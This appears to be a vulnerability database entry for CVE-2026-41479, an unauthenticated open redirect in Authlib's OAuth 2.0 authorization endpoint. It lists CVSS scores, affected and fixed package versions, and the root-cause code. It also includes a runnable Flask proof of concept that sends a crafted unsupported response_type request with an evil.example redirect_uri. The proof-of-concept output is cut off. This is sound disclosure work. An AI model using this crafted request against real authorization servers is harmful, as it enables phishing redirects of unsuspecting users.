CVE-2026-41479VulnerabilityPublished 08/13/2026Updated 09/17/2026

Mcpm: Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type (CVE-2026-41479)

Affects mcpmSource GCVE Database

Not known to be exploited · CVSS 5.4 Medium · fixed in 2.14.0_3 : update mcpm when convenient.

Data as of 10/25/2026, 04:40:12 UTC

CVSS 3.1 base score

5.4Medium

How severe the flaw is on the 0–10 CVSS scale.

Exploitation: Not in CISA KEV, no exploitation reported
EPSS: 0.2% chance of exploitation in 30 days – higher than 16% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 2.14.0_3

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Unchanged
Confidentiality: Low
Integrity: Low
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

What to do

Affected software

Product	Affected	Fixed in
Ubuntu:Pro:22.04:LTSpython-authlib`pkg:deb/ubuntu/python-authlib@0.15.5-1ubuntu0.1~esm2?arch=source&distro=esm-apps/jammy`Other threats	Affected =0.15.4-1 =0.15.5-1 =0.15.5-1ubuntu0.1~esm1 =0.15.5-1ubuntu0.1~esm2	Fixed in–
Ubuntu:Pro:24.04:LTSpython-authlib`pkg:deb/ubuntu/python-authlib@1.3.0-1ubuntu0.1~esm2?arch=source&distro=esm-apps/noble`Other threats	Affected =1.2.1-1 =1.3.0-1 =1.3.0-1ubuntu0.1~esm1 =1.3.0-1ubuntu0.1~esm2	Fixed in–
Ubuntu:25.10python-authlib`pkg:deb/ubuntu/python-authlib@1.6.0-1?arch=source&distro=questing`Other threats	Affected =1.5.1-1 =1.5.2-1 =1.6.0-1	Fixed in–
Ubuntu:Pro:26.04:LTSpython-authlib`pkg:deb/ubuntu/python-authlib@1.6.7-1ubuntu0.1~esm1?arch=source&distro=esm-apps/resolute`Other threats	Affected =1.6.0-1 =1.6.5-1 =1.6.6-1 =1.6.7-1 =1.6.7-1ubuntu0.1~esm1	Fixed in–
Homebrewmcpm`pkg:brew/mcpm`Other threats	Affected >=2.1.0 <2.14.0_3	Fixed in 2.14.0_3

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

This vulnerability is fixed in Authlib versions 1.6.10 and 1.7.1. Users should upgrade to these versions or later to remediate the issue. No additional mitigation is required if these versions are deployed.

Description

### Summary Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri. The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL. It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD. ### Details The root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and before any redirect URI validation has happened: ```python # authlib/oauth2/rfc6749/authorization_server.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.response_type}' is not supported by the server.", request.payload.response_type, redirect_uri=request.payload.redirect_uri, ) That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib automatically returns a redirect response to that URI: # authlib/oauth2/base.py def __call__(self, uri=None): if self.redirect_uri: params = self.get_body() loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment) return 302, "", [("Location", loc)] return super().__call__(uri=uri) This means an unsupported response_type request can force the authorization server to redirect to an attacker-controlled URL even when: 1. no valid client exists, 2. no grant matched the request, 3. no registered redirect_uri was ever checked. This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error. Relevant source and documentation references: - authlib/oauth2/rfc6749/authorization_server.py - authlib/oauth2/base.py - docs/flask/2/authorization-server.rst - docs/django/2/authorization-server.rst ### PoC Local test environment: - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1 - git describe: v1.6.6-104-g68e6ab3f - Python virtualenv: ./.venv - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS. Run this exact PoC from the repository root: export AUTHLIB_INSECURE_TRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flask_oauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true" class AuthorizationCodeGrant(_AuthorizationCodeGrant): def save_authorization_code(self, code, request): raise RuntimeError("not reached") def query_authorization_code(self, code, client): return None def delete_authorization_code(self, authorization_code): pass def authenticate_user(self, authorization_code): return None app = Flask(__name__) app.secret_key = "testing" server = AuthorizationServer( app, query_client=lambda client_id: None, save_token=lambda token, request: None, ) server.register_grant(AuthorizationCodeGrant) @app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.get_consent_grant(end_user=None) except OAuth2Error as error: return server.handle_error_response(request, error) return server.create_authorization_response(grant=grant, grant_user=None) with app.test_client() as c: cases = { "without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1", "with_attacker_redirect_uri": "/oauth/authorize?response_type=totally- unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.status_code, "location": r.headers.get("Location"), "body": r.get_data(as_text=True), } print(json.dumps(out, indent=2)) PY Observed result: { "without

Impact

An attacker can exploit this vulnerability to cause an unauthenticated open redirect, potentially facilitating phishing or redirecting users to malicious sites. The vulnerability does not require authentication, valid client registration, or prior state, increasing its ease of exploitation. The impact is limited to confidentiality and integrity as per the CVSS vector (C:L/I:L/A:N).

Summary

The vulnerability in Authlib's OAuth 2.0 authorization endpoint allows an attacker to trigger an open redirect by sending a request with an unsupported response_type and a malicious redirect_uri. This happens before any client verification or redirect URI validation, enabling redirection to arbitrary URLs without authentication or valid client credentials. The flaw affects versions prior to 1.6.10 and 1.7.1 and is resolved in these fixed versions.

References

Community reviews

Loading reviews…